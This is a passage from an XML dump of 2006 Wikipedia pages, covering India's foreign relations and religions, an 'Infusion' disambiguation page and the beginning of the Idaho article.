* [http://lnweb18.worldbank.org/SAR/sa.nsf/Countries/India/6FCFC02E809FEB0C85256BEB00440CDE?OpenDocument ''India’s Transport Sector: The Challenges Ahead''], [[World Bank]], 2002
{{Indian selected article}}
{{CIAfb}}

[[Category:Transport in India|*]]</text>
    </revision>
  </page>
  <page>
    <title>Military of India</title>
    <id>14603</id>
    <revision>
      <id>33581170</id>
      <timestamp>2006-01-02T09:37:55Z</timestamp>
      <contributor>
        <username>Deepak gupta</username>
        <id>347746</id>
      </contributor>
      <comment>moved to Indian Armed Forces</comment>
      <text xml:space="preserve">#Redirect[[Indian Armed Forces]]</text>
    </revision>
  </page>
  <page>
    <title>Foreign relations of India</title>
    <id>14604</id>
    <revision>
      <id>42021573</id>
      <timestamp>2006-03-03T07:10:24Z</timestamp>
      <contributor>
        <username>Pratheepps</username>
        <id>396536</id>
      </contributor>
      <comment>/* United States */ sp</comment>
      <text xml:space="preserve">{{Politics of India}}
[[India]]'s size, population, modern history and strategic location give it a prominent voice in international affairs, as does its growing industrial, military, scientific and technical strengths, which lend it added weight. The nation has had a long record of collaborating closely with other developing countries on issues from trade to environmental protection. The end of the Cold War dramatically affected Indian foreign policy, as it did for much of the world. India remains a leader of the developing world and the [[Non-Aligned Movement]] (NAM), which it helped co-found. It last hosted the NAM Heads of State Summit in [[1997]]. The country now also seeks to strengthen its political and commercial ties with the [[United States]], [[Japan]], the [[European Union]], [[Iran]], [[Israel]], the [[People's Republic of China]], and the [[Association of Southeast Asian Nations]]. India is an active member of the [[South Asian Association for Regional Cooperation]] (SAARC) and the [[Indian Ocean Rim Association for Regional Cooperation]] (IORARC).

India has long been an active member of the [[United Nations]] and now seeks a permanent seat on the [[UN Security Council]]. The country also has a long tradition of participating in UN peacekeeping operations and most recently contributed personnel to UN operations in [[Somalia]], [[Cambodia]], [[Mozambique]], [[Kuwait]], [[Bosnia and Herzegovina | Bosnia]], [[Rwanda]], [[Angola]], and [[El Salvador]].

==Bilateral and Regional Relations==
===Pakistan=== 
''Main Article: [[Relations between India and Pakistan]]''

The principal source of contention between India and its western neighbour has been [[Kashmir]], whose Hindu Maharaja, Hari Singh of Dogra and Muslim Prime Minister, Sheikh Abdullah chose in [[1947]] to join India. Their decision was hastened by the loss of territory to invading irregulars from Pakistan backed by the Pakistan Army.  India maintains that his decision, which was the norm for every other princely state at Independence, and subsequent elections, for over 40 years, in Kashmir have made it an integral part of India. Pakistan asserts Kashmiris' rights to self-determination through a [[plebiscite]] in accordance with an earlier Indian statement and a [[UN resolution]]. This dispute triggered wars between the two countries in 1947 and [[1965]], and a limited conflict in [[1999]]. The state remains divided between the two countries by the Line of Control (LoC), which demarcates the ceasefire line agreed upon in the 1947 conflict. Pakistan refers to its part of the state as Azad Kashmir. India terms it Pakistan Occupied Kashmir (PoK).

In December [[1971]], following a political crisis in what was then [[East Pakistan]] and a subsequent genocide of Bengalis by the Pakistani army, millions of [[Bengali]] refugees fled to India. The situation soon spiralled out of control in East Pakistan and India was forced to intervene. Pakistan has always claimed that the armed insurrection in the troubled state was abetted by India. The brief conflict left the situation largely unchanged in the west, where the two armies reached an impasse (although India is  regarded to have held the upper hand), but a decisive Indian victory in the east resulted in the creation of [[Bangladesh]] and over 90,000 Pakistani POWs.

Since the 1971 war, Pakistan and India have made only slow progress towards the normalization of relations. In July 1972, Indian Prime Minister [[Indira Gandhi]] and Pakistani President [[Zulfikar Ali Bhutto]] met in the Indian hill station of [[Shimla]]. They signed an agreement by which India would return all personnel (over 90,000) and captured territory in the west and the two countries would &quot;settle their differences by peaceful means through bilateral negotiations.&quot; Diplomatic and trade relations were re-established in [[1976]].

After the [[1979]] [[Soviet invasion of Afghanistan]], new strains appeared in [[Indo-Pak relations]]. Pakistan actively supported the Afghan resistance, while India was a friend of the [[Soviet Union|USSR]]. In the following eight years, India voiced increasing concern over Pakistani arms purchases, [[U.S. military aid to Pakistan]], and a clandestine [[Pakistan's nuclear weapons program]]. In an effort to curtail tensions, the two countries formed a joint commission to examine disputes. In December [[1988]], Prime Ministers [[Rajiv Gandhi]] and [[Benazir Bhutto]] concluded a pact not to attack each other's nuclear facilities. Agreements on cultural exchanges and civil aviation were also initiated.

In [[1997]], high-level Indo-Pakistan talks resumed after a 3-year pause. The Prime Ministers of India and Pakistan met twice and the foreign secretaries conducted three rounds of talks. In June 1997, the foreign secretaries identified eight &quot;outstanding issues&quot; around which continuing talks would be focused. The dispute over the status of Kashmir, (referred by India as Jammu and Kashmir), an issue since partition, remains the major stumbling block in their dialogue. India maintains that the entire former princely state is an integral part of the Indian union, while Pakistan insists that UN resolutions calling for self-determination of the people of the state must be taken into account. It however refuses to abide by the previous part of the resolution, which calls for it to vacate all territories occupied.

In September 1997, the talks broke down over the structure of how to deal with the issues of Kashmir, and peace and security. Pakistan advocated that the issues be treated by separate [[working group]]s. India responded that the two issues be taken up along with six others on a simultaneous basis. In May 1998 India, and then Pakistan, conducted [[nuclear tests]]. Attempts to restart dialogue between the two nations were given a major boost by the February 1999 meeting of both Prime Ministers in [[Lahore]] and their signing of three agreements. These efforts have since been stalled by the intrusion of Pakistani forces into Indian-held territory near [[Kargil]] in [[Kashmir]] in May 1999. A subsequent military coup in Pakistan that overturned the democratically elected [[Nawaz Sharif]] government in October of the same year also proved a setback to relations. 

In [[2001]], a summit was called in [[Agra]], India and Pakistan's military dictator, Pervez Musharraf turned up to meet Indian [[Prime Minister]] Atal Behari Vajpayee. The talks broke down when the Pakistani dictator repeatedly dubbed militants in Kashmir 'freedom fighters' at a press conference. The Indians appeared miffed and the talks fell through.

On [[June 20]], [[2004]], with a new government in place in India, both countries agreed to extend a [[nuclear testing]] ban and to set up a [[hotline]] between their foreign secretaries aimed at preventing misunderstandings that might lead to a [[nuclear war]]. [http://edition.cnn.com/2004/WORLD/asiapcf/06/20/india.pakistan]

India has granted Pakistan unilateral MFN (most favored nation) trade status under WTO guidelines, but Pakistan is yet to reciprocate. As of early 2005, both countries are committed to a process of dialogue to solve all outstanding issues. [[Baglihar dam issue]] was a new issue raised by Pakistan in 2005.

===SAARC=== 

Certain aspects of India's relations within the subcontinent are conducted through the South Asia Association for Regional Cooperation ([[SAARC]]). Its members are [[Bangladesh]], [[Bhutan]], [[India]], [[Maldives]], [[Nepal]], [[Pakistan]], and [[Sri Lanka]]. Established in [[1985]], SAARC encourages cooperation in agriculture, rural development, science and technology, culture, health, population control, narcotics control and anti-terrorism.

SAARC has intentionally stressed these &quot;core issues&quot; and avoided more divisive political issues, although political dialogue is often conducted on the margins of SAARC meetings. In [[1993]], India and its SAARC partners signed an agreement gradually to lower tariffs within the region. Forward movement in SAARC has come to a standstill because of the tension between India and Pakistan, and the SAARC Summit originally scheduled for, but not held in, November 1999 has not been rescheduled.

In November 1988, at the behest of the Maldivian government, Indian paratroopers and naval forces crushed a coup attempt by mercenaries. India's action, viewed by some critics as an indication of Indian ambitions to be a regional hegemon, were regarded by the [[United States]], the [[Soviet Union]], [[United Kingdom|Britain]], [[Nepal]], and [[Bangladesh]] as legitimate assistance to a friendly government, and to be fully in keeping with India's strategic role in South Asia.

===People's Republic of China===
''Main article: [[Sino-Indian relations]]''

Despite lingering suspicions remaining from the [[1962]] [[Sino-Indian War]] and continuing territorial/boundary disputes in [[Kashmir]] and [[Arunachal Pradesh]], Sino-Indian relations have improved gradually since [[1988]]. Both countries have sought to reduce tensions along the frontier, expand trade and cultural ties, and normalize relations.

A series of high-level visits between the two nations have helped improve relations. In December [[1996]], [[PRC President]] [[Jiang Zemin]] visited India on a tour of South Asia. While in [[New Delhi]], he signed, with the Indian Prime Minister, a series of confidence-building measures for the disputed borders. This included troop reductions and weapons limitations, which appear to have taken place.

Sino-Indian relations received a setback in May 1998 when the Indian Defence minister justified the country's nuclear tests by citing potential threats from the PRC. However, in June 1999, during the [[Kargil]] crisis, External Affairs Minister Jaswant Singh visited [[Beijing]] and stated that India did not consider China a threat. Relations between India and the PRC are on the mend, and the two sides handled the move from [[Tibet]] to India of the 17th [[Karmapa]] in January 2000 with delicacy and tact. In 2003, India formally recognized Tibet as a part of China, and China recognized [[Sikkim]] as a formal part of India in [[2004]].

Both India and China are members of the [[East Asia Summit]].

===New Independent States of the Former Soviet Union===

The [[collapse of the Soviet Union]] and the emergence of the Commonwealth of Independent States (CIS) had major repercussions for Indian foreign policy. Substantial trade with the former Soviet Union plummeted after the Soviet collapse and has yet to recover. Longstanding military supply relationships were similarly disrupted due to questions over financing, although Russia continues to be India's largest supplier of military systems and spare parts.

Russia and India have decided not to renew the 1971 Indo-Soviet Peace and Friendship Treaty and have sought to follow what both describe as a more pragmatic, less ideological relationship. Russian President Yeltsin's visit to India in January 1993 helped cement this new relationship. Ties have grown stronger with President Vladimir Putin's 2004 visit. The pace of high-level visits has since increased, as has discussion of major defense purchases.

===United States===
[[Image:Humayun tomb rice.jpg|thumb|250px|In recent years, relations between two of the world's largest [[democracies]] have improved considerably. Shown here is US Secretary of State [[Condoleezza Rice]] during her visit to New Delhi in March 2005.]]
Historically, relations between India and the [[United States]] were somewhat cool following Indian independence, as India took a leading position in the [[Non-Aligned Movement]], and attempted to pursue even-handed economic and military relations with the [[Soviet Union]]. For most of the [[Cold War]], the US tended to have warmer relations with [[Pakistan]], primarily as a way to contain Soviet-friendly India and to use Pakistan to back the Afghan [[Mujahideen]] against the [[Soviet occupation of Afghanistan]]. An Indo-Soviet twenty year friendship treaty, signed in [[1971]], also positioned India 'against' the US.

However, since the end of the Cold War, India-US relations have improved dramatically. This has largely been fostered by the fact that the US and India are both vibrant democracies and have a large and growing trade relationship.

The economic sanctions imposed by the [[United States]] in response to India's nuclear tests in May 1998 appeared, at least initially, to seriously damage [[Indo-American relations]]. [[President of the United States|President]] [[Bill Clinton]] imposed wide-ranging sanctions pursuant to the [[1994 Nuclear Proliferation Prevention Act]]. U.S. sanctions on Indian entities involved in the nuclear industry and opposition to international financial institution loans for non-humanitarian assistance projects in India. The United States encouraged India to sign the [[Comprehensive Test Ban Treaty]] (CTBT) immediately and without condition. The U.S. also called for restraint in missile and nuclear testing and deployment by both India and Pakistan. The nonproliferation dialogue initiated after the 1998 nuclear tests has bridged many of the gaps in understanding between the countries. 

However, India has yet to sign the CTBT, or the [[Nuclear Non-Proliferation Treaty|NPT]], opposing the discriminatory nature of the treaty that allows the 5 declared nuclear countries of the world to keep their nuclear arsenal and develop it using computer simulation testing. Prior to its nuclear testing, India had pressed for a comprehensive destruction of nuclear weapons by all countries of the world in a time-bound frame. This was not acceptable to the US and other countries. Presently, India has declared its policy of &quot;no-first use of nuclear weapons&quot; and the maintenance of a &quot;credible nuclear deterrence&quot;. The US, under president [[George W. Bush]] has also lifted most of its sanctions on India and has resumed military co-operation. Relations with US have considerably improved in the recent past, with the two countries even taking part in joint naval exercises off the coast of India and joint air exercises both in India as well as in the United States. 

On 2 March 2006 India and US has signed a pact on co-operation in civilian nuclear field. This was signed during the four days state visit of US president George Bush in India. On it’s part, India would separate its civilian and military nuclear programs. And the civilian programs would be brought under the safeguards of [[IAEA]]. United States would sell India the reactor technologies and the nuclear fuel for setting up/ upgrading its civilian nuclear facility. The US congress needs to ratify this since it’s laws prohibit trading of nuclear technologies and materials outside the framework of the [[Nuclear Suppliers Group]]             

India's ties with the US have grown stronger since the 9/11 attacks on the US. The country has long dealt with terrorism in several forms. From [[Kashmir]], since 1947, to [[Punjab, India|Punjab]], in the period 1984-1992, and to the restive [[North East India|North East]], since the late 1970s.

===United Kingdom &amp; Commonwealth===

Since 1947, India's relations with the United Kingdom have been through bilateral, as well as through the [[Commonwealth of Nations]] framework.  Although the Sterling Area no longer exists and the Commonwealth is much more an informal forum, India and the UK still have many enduring links.  This is in part due to the significant number of people of Indian origin living in the UK.  The large South Asian population in the UK results in steady travel and communication between the two countries.  The British &quot;Raj&quot;(Rule) allowed for both cultures to imbibe tremendously from the other.  The English language and cricket are perhaps the two most evident British exports, whilst in the UK Indian music and food are fixtures in daily life. It's also notable that there are many [[List of English words of Indian origin|words of Indian origin]] now common to the language.

Economically the relationship between Britain and India is also strong.  Britain is the largest investor in India after the US.  The millions of pounds invested annually sustain a wide range of industries, including the controversial &quot;call centres&quot;.  Money flowing back to India from Indian expatriates in Britain is also quite substantial.  These expatriates also tend to invest in real estate in India.

In the sphere of politics relations are mostly through multilateral channels, namely the Commonwealth.  India has remained staunchly sovereign and has rejected any type of British intervention in regional affairs.  Despite the occasional spats, such as the 1997 row when the Foreign Secretary [[Robin Cook]] offered to mediate a dispute over Kashmir, relations between London and New Delhi are warm.  The [[Elizabeth II of the United Kingdom|Queen's]] visits to India have been enormously successful along with those by other members of the Royal Family.  Britain has also supported India's rise to prominence on the international stage, including advocating a permanent seat on the Security Council.

==Disputes - international==

*Boundary with China in dispute; (see also: [[Aksai Chin]])
*Status of Kashmir with Pakistan;
*Water-sharing problems with Pakistan over the Indus River (Wular Barrage);
*A portion of the boundary with Bangladesh is indefinite;
*Dispute with Bangladesh over New Moore/South Talpatty Island


{{Life in India}}

[[Category:Foreign relations by country|India]]
[[Category:Foreign relations of India|*]]
[[Category:Politics of India]]</text>
    </revision>
  </page>
  <page>
    <title>Religion in India</title>
    <id>14605</id>
    <revision>
      <id>41704083</id>
      <timestamp>2006-03-01T04:17:19Z</timestamp>
      <contributor>
        <username>TShilo12</username>
        <id>153537</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/Dr92|Dr92]] ([[User talk:Dr92|talk]]) to last version by 68.71.244.96</comment>
      <text xml:space="preserve">[[India]] is one of the most religiously diverse nations in the world, with one of the most deeply religious societies and cultures. Religion plays a central and definitive role in the life of the country and most of its people. 
[[Image:Akshardhamindelhi.jpg|thumb|350px|The [[Akshardham]] [[Hindu]] temple, [[Delhi]]]]

The faith of more than 80% of the people is [[Hinduism]], considered the world's oldest religious and philosophical system. [[Islam]] is practiced by around 13% of all Indians. 

[[Sikhism]], [[Ayyavazhi]], [[Buddhism]] and [[Jainism]] are Indian-born religious systems that are strong and influential not only in India but across the world. [[Christianity]], [[Zoroastrianism]], [[Judaism]] and the [[Bahá'í Faith]] are also influential but their numbers are smaller.

Despite the strong role of religion in Indian life, [[atheism]] and [[agnostic]]s are also visible influences.


{{TOCleft}}







==Hinduism==

The adherents of [[Hinduism]] form the largest religious community in India, numbering over 900 million.

''See The Following Articles for More Information'': [[Hinduism]], [[Hindu]], [[Vedic religion]]

==Buddhism==

[[Buddhism]], known in ancient India as Buddha Dharma, originated in northern India in what is today the state of [[Bihar]]. It rapidly gained adherents during [[Gautama Buddha|the Buddha's]] lifetime. Up to the [[9th century]], Indian followers numbered in the hundreds of millions.  While the exact cause of the [[decline of Buddhism in India]] is disputed, it is known that the mingling of Hindu and Buddhist societies in India and the rise of Hindu [[Vedanta]] movements began to compete against Buddhism. Many believe that Hinduism's adaptation to Buddhism resulted in Buddhism's rapid decline. Also, [[Islamic invasions of India|Muslim invaders]] are recorded to have caused massive devastation on monasteries, libraries, and statuary, as they did on [[Hindu]] religious life. Many Indian Buddhist populations remained intact in or migrated to places like [[Sri Lanka]], [[Tibet]], and other [[Asia|Asian]] countries. 

Recently, a [[Neo-Buddhism|revival of Buddhism]] in India has made significant progress. In [[1956]], [[B. R. Ambedkar]], a freedom fighter during the Indian struggle for [[independence]] from the [[Great Britain|British]], and hundreds of thousands of his followers converted to Buddhism in protest against the [[caste system]].  Subsequent mass conversions on a lesser scale have occurred since then. Three-quarters of these &quot;neo-Buddhists&quot; live in [[Maharashtra]]. Alongside these converts are the [[Vajrayana]] Buddhists of [[Ladakh]], [[Sikkim]], and [[Arunachal Pradesh]], a small number of tribal peoples in the region of [[Bengal]], and Tibetan refugees.

==Jainism==

[[Jainism]], along with Hinduism, Buddhism and Sikhism, is one of the four major [[Dharmic]] religions originating in India. In general, Jains are extremely well-represented inspite of the fact that they form only 0.4% (around 4.2 million) of India's total population. Many of them rich and an overwhelming majority of them are well to do. As such, it can be said that they hold power and wealth disproportionate to their small population. According to the India Census 2001, Jains have the highest literacy rate (religion-wise) of 94.1% compared to the national average of 64.8%.

==Christianity==
:''Main article: [[Christianity in India]]''

'''[[Christianity]]''', according to tradition (and now supported by recent research), arrived in India in the first century through the [[apostle Thomas]]. St. Thomas converted many South Indians who continued to practice Christianity until present. It was further consolidated by the arrival of Syriac Jewish-Christians now known as [[Knanaya]] people in the second century C.E. This ancient ethnic Christian community of [[Kerala]] is known as [[Nasrani]] or [[Syrian Christian]]. The [[Nasrani]] people and especially the [[Knanaya]] people within the Nasranis have strong Jewish historical ties. Their form of Christianity is one of the most ancient: [[Syriac Christianity]] which is also known as the Eastern Orthodox Church and referred to in India as [[Saint Thomas Christians]]. It should be noted that the term &quot;Saint Thomas Christians&quot; is a loose term that many non-Nasranis Christians in Kerala are often labeled. The vast majority of Christians in Kerala are not the original Nasrani/Knanaya but indigenous local converts.  

[[Roman Catholic Church|Roman Catholicism]] reached India during the period of [[Europe]]an colonization, which began in [[1498]] when the Portuguese explorer [[Vasco da Gama]] arrived on the [[Malabarian Coast|Malabar coast]].Christian missionary activity increased in the early [[19th century|1800s]]. Today Christianity is the third largest religion of India making up 2 - 2.9% of the population. Christians are most prevalent in the southern sates like [[Kerala]] and [[Tamil Nadu]] and in northeastern states such as [[Nagaland]],[[Mizoram]]. It is also polpular in all the major metro areas, and in western states such as [[Goa]].

==Islam==

:''Main article: [[Islam in India]]''

'''[[Islam]]''' arrived in India as early as the [[8th century]] CE. During the following decades,contributed greatly to the cultural enhancement of an already rich Indian culture, shaping not only the shape of Northern Indian classical music ([[Hindustani]], a melding of Indian and Middle Eastern elements) but encouraging a grand tradition of [[Urdu]] (a melding of [[Hindi]], [[Arabic language|Arabic]] and [[Persian language|Persian]] languages) literature both religious and secular. Among other monuments, the [[Taj Mahal]] is a gift of the Mughals. As of [[2001]], there are about 130 million Muslims in India, most of whom were converted during the Mughal period and they mostly live in the north and west of the country.

==Ayyavazhi==

'''[[Ayyavazhi]]''' ('''அய்யாவழி''' [[Tamil language|Tamil]]: &quot;path of the father&quot;) is a religion originated in south india in the 19th century. Officially it was considered as an offshoot section of [[Hinduism]]. But either in Philosophy or in religious practices [[Ayyavazhi and Hinduism]] varies a lot. Though it has not received official recognition, it has transformed itself into a distinctive religious phenomenon, making its presence felt in India's southern parts, mostly in southern districts of [[Tamil Nadu]] and in some parts of [[Kerala]]. But it is one of the fastest growing religions of Southern India, its rapid growth has been noted in the [[Ayyavazhi in reports by Christian missionaries |Christian missionary reports]] of the mid-19th century. It has more than 7000 worship centers throughout south India, mostly in [[Tamil Nadu]] and some in the city of [[Mumbai]].

==Zoroastrianism==
A form of the ancient [[Iran|Persia]]n religion [[Zoroastrianism]] continues to be practiced in India, where its followers are called [[Parsi]]s. Suffering persecution from [[Muslim]] rulers in what is now modern-day [[Iran]], Zoroastrian immigrants were granted protection by a [[Hindu]] king at a place called [[Sanjan (Gujarat)|Sanjan]] in the western Indian state of [[Gujarat]] many centuries ago.

==Sikhism==

'''[[Sikhism]]''', was founded in India's northwestern [[Punjab, India|Punjab]] region about 400 years ago.  As of [[2001]] there were 19.3 million Sikhs in India. Many of today's Sikhs are situated in Punjab, the largest [[Sikh]] province in the world and the ancestral home of Sikhs. The most famous Sikh temple is the [[Golden Temple]], located in [[Amritsar]], Punjab. Many Sikhs serve in the [[Indian Army]]. The current prime minister of India, [[Manmohan Singh]], is a Sikh. Punjab is the spiritual home of Sikhs and is the only state in India where Sikhs form a majority.

==Judaism==

:''Main article: [[Jews in India]]''

Trade contacts between the [[Mediterranean]] region and the west coast of India probably led to the presence of small [[Jew]]ish settlements in India as long ago as the early first millennium B.C. In [[Kerala]] a community of Jews tracing its origin to the fall of [[Jerusalem]] in A.D. 70 has remained associated with the cities of [[Cranganore]] and [[Kochi, India|Kochi]] (formerly known as Cochin) for at least 1,000 years. The Paradesi Synagogue in Kochi, rebuilt in 1568, is in the architectural style of Kerala but preserves the ritual style of the [[Sephardic]] rite, with [[Babylonian]] and [[Yemenite]] influence as well. The [[Cochin Jews|Jews of Kochi]], concentrated mostly in the old &quot;Jew Town,&quot; were completely integrated into local culture, speaking [[Malayalam]] and taking local names while preserving their knowledge of [[Hebrew language|Hebrew]] and contacts with [[Southwest Asia]]. A separate community of Jews, called the [[Bene Israel]], had lived along the [[Konkan]] Coast in and around [[Bombay]], [[Pune]], and [[Ahmadabad]] for almost 2,000 years. Unlike the Kochi Jews, they became a village-based society and maintained little contact with other Jewish communities. They always remained within the Orthodox Jewish fold, practicing the Sephardic rite without [[rabbis]], with the [[synagogue]] as the center of religious and cultural life. Following trade routes established by the expansion of the [[British Empire]], a third group of Jews, the [[Baghdadi Jews]] immigrated to India, settling primarily in Bombay and [[Calcutta]].  Many of the Baghdadi traders became wealthy and participated prominently in the economic leadership of these growing cities.  As a result of religious pressure elsewhere, including the [[Religious conversion|forced conversion]]s of [[Mashhad]] (''see [[Muslim Jew]]''), their numbers were increased by religious refugees.  The Baghdadis came mostly from the [[Ottoman Empire]], [[Persian Empire|Persia]], and [[Afghanistan]].  

The population of the [[Cochin Jews|Kochi Jews]], always small, had decreased from 5,000 in 1951 to about fifty in the early 1990s. During the same period, the [[Bene Israel]] decreased from about 20,000 to 5,000, while the [[Baghdadi Jews]] declined from 5,000 to 250. Emigration to [[Australia]], [[Israel]], [[Britain]], and [[North America]] accounts for most of this decline. According to the 1981 Indian census, there were 5,618 Jews in India, down from 5,825 in 1971. The 1991 census showed a further decline to 5,271, most of whom lived in [[Maharashtra]] and [[Kerala]].

The [[Knanaya]] and [[Nasrani]] Christian groups also have strong historical ties to Judaism.

==Bahá'í Faith==
:''Main article: [[Bahá'ís in India]]''

{{Asia in topic|Religion in}}

[[Category:Religion in India| ]]

[[fr:Religions de l'Inde]]
[[pl:Religie w Indiach]]
[[sv:Lista över religioner i Indien efter delstat och befolkningsandel]]</text>
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  <page>
    <title>Infusion (disambiguation)</title>
    <id>14606</id>
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      <minor />
      <comment>disambiguation from [[Oil]] to [[Vegetable oil]] - ([[WP:DPL|You can help!]])</comment>
      <text xml:space="preserve">* An '''infusion''' is a [[beverage]] made by [[steeping]] a flavoring substance in hot or boiling [[water]]. Infusions include [[coffee]], [[tea]] and [[tisane|tisanes]]. Infusions can also be made in another substance, such as [[alcoholic beverage|alcohol]] or [[vinegar]], instead of water.
* In [[medicine]] an '''infusion''' is a treatment in which a patient is attached to a device (a [[drip]]) that constantly delivers a [[liquid]] into the [[bloodstream]]. See [[route of administration]] for some further details.
* [[Infusion]] in the world of [[aromatherapy]] refers to two different types, or infusions, of [[herb]]s, [[flower]]s, [[berries]], etc. being &quot;infused&quot; or placed in [[Vegetable oil|oil]]. There are short-term infusions which are most popularly used and sold today.
* In other contexts, an '''infusion''' can mean the introduction of a modifying quality or element. Thus it could be used to describe the addition of new subject matter into a [[curriculum]], or the addition of talented individuals into an [[organization]].
* [[Infusion (band)|Infusion]] is an [[Australia]]n dance-music act.
* [[Infusion Development]] is a software consulting company and author of the [[CodeNotes]] book series.
* A recognized form of Christian [[baptism]] (pouring over the head).

{{disambig}}

[[de:Aufgussgetränk]]
[[fr:Infusion]]
[[it:Infuso]]
[[pt:Infusão]]</text>
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  <page>
    <title>Idaho</title>
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      <text xml:space="preserve">{{US state |
  Name            = Idaho |
  Fullname        = State of Idaho |
  Flag            = Idaho state flag.png |
  Flaglink      = [[Flag of Idaho]] |
  Seal            = Idahostateseal.jpg |
  Map             = Map_of_USA_highlighting_Idaho.png |
  Nickname        = Gem State |
  Capital         = [[Boise, Idaho|Boise]] |
  OfficialLang    = English |
  LargestCity     = [[Boise, Idaho|Boise]] |
  Governor        = [[Dirk Kempthorne|Dirk Kempthorne]] (R)|
  Senators        = [[Larry Craig]] (R)
[[Mike Crapo]] (R) |
  PostalAbbreviation = ID |
  AreaRank        = 14&lt;sup&gt;th&lt;/sup&gt; |
  TotalArea       = 216,632 |
  LandArea        = 214,499 |
  WaterArea       = 2,133 |
  PCWater         = 0.98 |
  PopRank         = 39&lt;sup&gt;th&lt;/sup&gt; |
  2000Pop         = 1,293,953 |
  DensityRank     = 44&lt;sup&gt;th&lt;/sup&gt; |
  2000Density     = 6.04 |
  AdmittanceOrder = 43&lt;sup&gt;rd&lt;/sup&gt; |
  AdmittanceDate  = [[July 3]], [[1890]] |
  TimeZone        = [[Pacific Standard Time Zone|Pacific]]: [[Coordinated Universal Time|UTC]]-8/[[Daylight saving time|-7]] (northern)&lt;br/&gt;[[Mountain Standard Time Zone|Mountain]]: UTC-7/[[Daylight saving time|-6]] (southern) |
  Latitude        = 42° N to [[49th parallel north|49°&amp;nbsp;N]] |
  Longitude       = 111° W to 117° W |
  Width           = 491 |
  Length          = 771 |
  HighestElev     = 3,859 |
  MeanElev        = 1,524 |
  LowestElev      = 216 |
  ISOCode         = US-ID |
  Website         = www.idaho.gov
}}
'''Idaho''' is a [[U.S. state|state]] in the [[Pacific Northwest]] of the [[United States]]. The state's [[capital]] and largest city is [[Boise, Idaho|Boise]]. Residents are called &quot;Idahoans.&quot; Idaho was admitted to the Union on [[July 3]], [[1890]], as the 43rd state.

According to the United States Census Bureau in [[2004]] Idaho had an estimated population of 1,393,262. The state's postal abbreviation is '''ID'''. Idaho is nicknamed the '''Gem State''' because of its abundance of natural resources. The state motto is '''Esto Perpetua''' ([[Latin]] for &quot;Let it be perpetual&quot;).

==Name==
Idaho has a very unusual name. It is perhaps the only state to be named as the result of a [[hoax]]. When a name was being selected for new territory, eccentric lobbyist [[George M. Willing]] suggested &quot;Idaho,&quot; which he claimed was a Native American term meaning &quot;gem of the mountains&quot;. It was later revealed Willing had made up the name himself, and the original Idaho territory was re-named [[Colorado]] because of it. Eventually the controversy was forgotten, and modern-day Idaho was given the made-up name when the [[Idaho Territory]] was formally created in [[1863]].

== History ==
{{splitsection|History of Idaho}} 
Humans may have been present in the Idaho area as long as 14,500 years ago. Excavations at Wilson Butte Cave near [[Twin Falls, Idaho|Twin Falls]] in [[1959]] revealed evidence of human activity, including arrowheads, that rank among the oldest dated artifacts in [[North America]]. Later [[Native Americans in the United States|native American]] tribes predominant the area included the [[Nez Perce]] in the north and the Northern and Western [[Shoshone]] in the south.

By contrast, Idaho was the last of the 50 states explored by people of European descent. The [[Lewis and Clark]] expedition entered present-day Idaho on [[August 12]], [[1805]], at the [[Lemhi Pass]]. The first expedition to enter southern Idaho is believed to be a group led by Wilson Price Hunt, which navigated the [[Snake River]] while attempting to blaze an all-water trail westward from [[St. Louis, Missouri]], to [[Astoria, Oregon]], in [[1811]] and [[1812]]. At that time, approximately 8,000 Native Americans lived in the region. 

[[Fur trading]] and [[missionary]] work attracting the first settlers to the region. In [[1809]], [[Kullyspell House]], the first white-owned establishment and first trading post in Idaho, was constructed. In [[1836]], [[Henry H. Spalding]] established a mission near [[Lapwai]], where he printed the Northwest's first book, established Idaho's first school, developed its first irrigation system, and grew the state's first potatoes. [[Narcissa Whitman]] and [[Eliza Hart Spalding]] were the first white women to cross the continental divide (South Pass).

During this time the Idaho region was part of an unorganized territory known as [[Oregon Country]], claimed by both the United States and [[Great Britain]]. The United States gained undisputed jurisdiction over the region in the [[Oregon Treaty]] of [[1846]]. The original boundaries of [[Oregon Territory]] in [[1848]] included all three of the present-day Pacific Northwest states and extended eastward to the Continential Divide. In [[1853]] areas north of the 46th Parallel became [[Washington Territory]], splitting what is now Idaho in two. The future state was reunited in [[1859]] after [[Oregon]] became a state and the boundaries of Washington Territory were redrawn. 

While thousands passed through Idaho on the [[Oregon Trail]] and during the [[California gold rush]] of [[1849]], few people settled there. The first organized town in Idaho was [[Franklin, Idaho|Franklin]], settled in April [[1860]] by [[Mormon]] pioneers who believed they were in [[Utah Territory]] (a later survey determined they had in fact crossed the border) [http://franklinidaho.org/History2.htm]. Later that year, the first of several [[gold rush|gold rushes]] in Idaho began at [[Pierce, Idaho|Pierce]] in present-day [[Clearwater County, Idaho|Clearwater County]]. By [[1862]] settlements in both the north and south had formed around the mining boom.
 
On March 4, [[1863]], President [[Abraham Lincoln]] signed an act creating [[Idaho Territory]] from portions of Washington Territory and [[Dakota Territory]] with its capital at [[Lewiston, Idaho|Lewiston]]. The original Idaho Territory included most of the areas that later became the states of Idaho, [[Montana]] and [[Wyoming]], but had a population of under 17,000. Idaho Territory assumed the boundaries of the modern state in [[1868]].

Although the 1863 [[Bear River Massacre]] in present-day [[Franklin County, Idaho|Franklin County]] is considered to be the westernmost battle of the [[American Civil War|Civil War]], the upheaval caused by the Civil War and [[Reconstruction]] was a distant concern to those in the comparatively stable Idaho Territory, a situation which in turn encouraged settlement. Almost immediately after Idaho Territory was created, a public school system was created and [[stage coach]] lines were established. Regular newspapers and telegraph offices were active in Lewiston, [[Boise, Idaho|Boise]] and [[Silver City, Idaho|Silver City]] by [[1865]]. 

The discovery of gold, silver and other valuable natural resources throughout Idaho beginning in the 1860s, as well as the completion of the [[First Transcontinental Railroad|Transcontinental Railroad]] in [[1869]] brought many new people to the territory, including [[Chinese]] laborers who came to work the mines. As Idaho approached statehood, [[mining]] and other extractive industries became increasingly important to her economy. By the [[1890s]], for example, Idaho exported more [[lead]] than any other state.

In 1865, Boise replaced Lewiston as the territorial capital. The move, which was extremely unpopular in northern Idaho, increased the often bitter sectionalism between the northern and southern parts of the territory. Proposals to split the two regions were widespread. In [[1887]] Idaho Territory was nearly legislated out of existence, but President [[Grover Cleveland]] refused to sign a bill that would have split Idaho Territory between Washington Territory in the north and [[Nevada]] in the south. 

In [[1889]] the [[University of Idaho]] was awarded to the northern town of [[Moscow, Idaho|Moscow]] instead of its original planned location at Eagle Rock (now [[Idaho Falls, Idaho|Idaho Falls]]) in the south. This served to alleviate some of the hard feelings felt by northerners over losing the capital.

